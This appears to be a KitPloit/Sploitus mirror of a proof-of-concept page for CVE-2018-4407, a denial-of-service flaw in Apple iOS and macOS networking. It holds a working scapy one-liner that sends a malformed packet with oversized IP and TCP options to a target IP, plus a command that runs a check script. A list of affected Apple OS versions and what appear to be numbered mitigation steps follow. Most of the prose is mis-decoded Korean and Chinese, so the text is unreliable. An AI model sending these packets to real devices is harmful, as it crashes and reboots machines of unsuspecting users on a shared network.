## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PA55W0RD-CHECK_ICMP_DOS
# check_icmp_dos
* **iOS 12 / OS X _์๊ฒฉ ์ปค๋ ํ ์ค๋ฒํ๋ก(CVE-2018-4407) POC๏ผ_**
root@kitploit:~
pip install scapy
sudo scapy
send(IP(dst=โTarget IPโ,options=[IPOption(โAโ*8)])/TCP(dport=2323,options=[(19, โ1"*18),(19, โ2โ*18)]))
๋๋ ์คํฌ๋ฆฝํธ ์ฌ์ฉ
root@kitploit:~
python check_icmp_dos.py 127.0.0.1
์ด ์ทจ์ฝ์ ์ ํตํด ๊ณต๊ฒฉ์๋ ๋์ผํ Wi-Fi ๋คํธ์ํฌ์ ์ ์ํ๊ธฐ๋ง ํ๋ฉด, ์๋ฌด๊ฒ๋ ๋ชจ๋ฅด๋ ๋ค๋ฅธ ์ฌ์ฉ์์๊ฒ ์
์ฑ ํจํท์ ์ ์กํ์ฌ ๋ชจ๋ Mac ๋๋ iOS ๊ธฐ๊ธฐ์ ์ถฉ๋๊ณผ ์ฌ์์์ ์ ๋ฐํ ์ ์์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ ์์คํ
๋คํธ์ํฌ ํต์ฌ ์ฝ๋์ ์กด์ฌํ๋ฏ๋ก ์ด๋ค ์ํฐ๋ฐ์ด๋ฌ์ค ์ํํธ์จ์ด๋ก๋ ๋ฐฉ์ดํ ์ ์์ต๋๋ค.
๋ค์ ์ด์ ์ฒด์ ๋ฅผ ์คํํ๋ ๊ธฐ๊ธฐ๋ ์ทจ์ฝํฉ๋๋ค๏ผ
root@kitploit:~
Apple iOS 11ๅๆดๆฉ็ๆฌ๏ผๆๆ่ฎพๅค๏ผๅ็บงๅฐiOS 12็้จๅ่ฎพๅค๏ผ
Apple macOS High Sierra๏ผๅๅฝฑๅ็ๆ้ซ็ๆฌไธบ10.13.6๏ผ๏ผๆๆ่ฎพๅค๏ผ้่ฟๅฎๅ
จๆดๆฐ2018-001ไฟฎๅค๏ผ
Apple macOS Sierra๏ผๅๅฝฑๅ็ๆ้ซ็ๆฌไธบ10.12.6๏ผ๏ผๆๆ่ฎพๅค๏ผ้่ฟๅฎๅ
จๆดๆฐ2018-005ไธญไฟฎๅค๏ผ
Apple OS X El Capitanๅๆดๆฉ็ๆฌ๏ผๆๆ่ฎพๅค
# ์์ ๊ถ์ฅ ์ฌํญ
ํ์ฌ Apple์ iOS 12.1 ๋ฒ์ ์
๋ฐ์ดํธ๋ฅผ ์ถ์ํ์ฌ ์ด ์ทจ์ฝ์ ์ ์์ ํ์ต๋๋ค. ์ฌ์ฉ์๋ ์์คํ
๋ฒ์ ์ ์ ์ํ ํ์ธํ๊ณ , ์ํฅ์ ๋ฐ์ ๊ฒฝ์ฐ ์ฆ์ ํจ์น ์กฐ์น๋ฅผ ์ทจํ ๊ฒ์ ๊ถ์ฅํฉ๋๋ค. ์ทจ์ฝ์ ํจ์น ์กฐ์น๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค๏ผ
1. ์์คํ
์
๋ฐ์ดํธ๋ฅผ ์ํํ์ฌ ์ต์ ๋ฒ์ ์ผ๋ก ์
๋ฐ์ดํธํฉ๋๋ค.
2. ์ต์ ๋ฒ์ ์ผ๋ก ์
๋ฐ์ดํธํ์ง ์์ ๊ฒฝ์ฐ, macOS ๋ฐฉํ๋ฒฝ์์ ์จ๊น ๋ชจ๋๋ฅผ ํ์ฑํํ๋ฉด ๊ณต๊ฒฉ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค. ์ด ์์คํ
์ค์ ์ ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ฑํ๋์ด ์์ง ์์ผ๋ฉฐ, ์ฌ์ฉ์๊ฐ ์๋์ผ๋ก ํ์ฑํํด์ผ ํฉ๋๋ค.
3. ๊ณต๊ณต ๋ฌด์ ๋คํธ์ํฌ์ ์ ์ํ์ง ๋ง์ญ์์ค. ์ด ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํ ์ ์ผํ ํ์ ์กฐ๊ฑด์ ๋์ผํ ๋คํธ์ํฌ์ ์๋ ๊ฒ์ด๋ฉฐ, ์ด ์ทจ์ฝ์ ์ ์ธํฐ๋ท์ ํตํด ์
์ฑ ํจํท์ ์ ์กํ์ฌ ํธ๋ฆฌ๊ฑฐํ ์ ์์ต๋๋ค.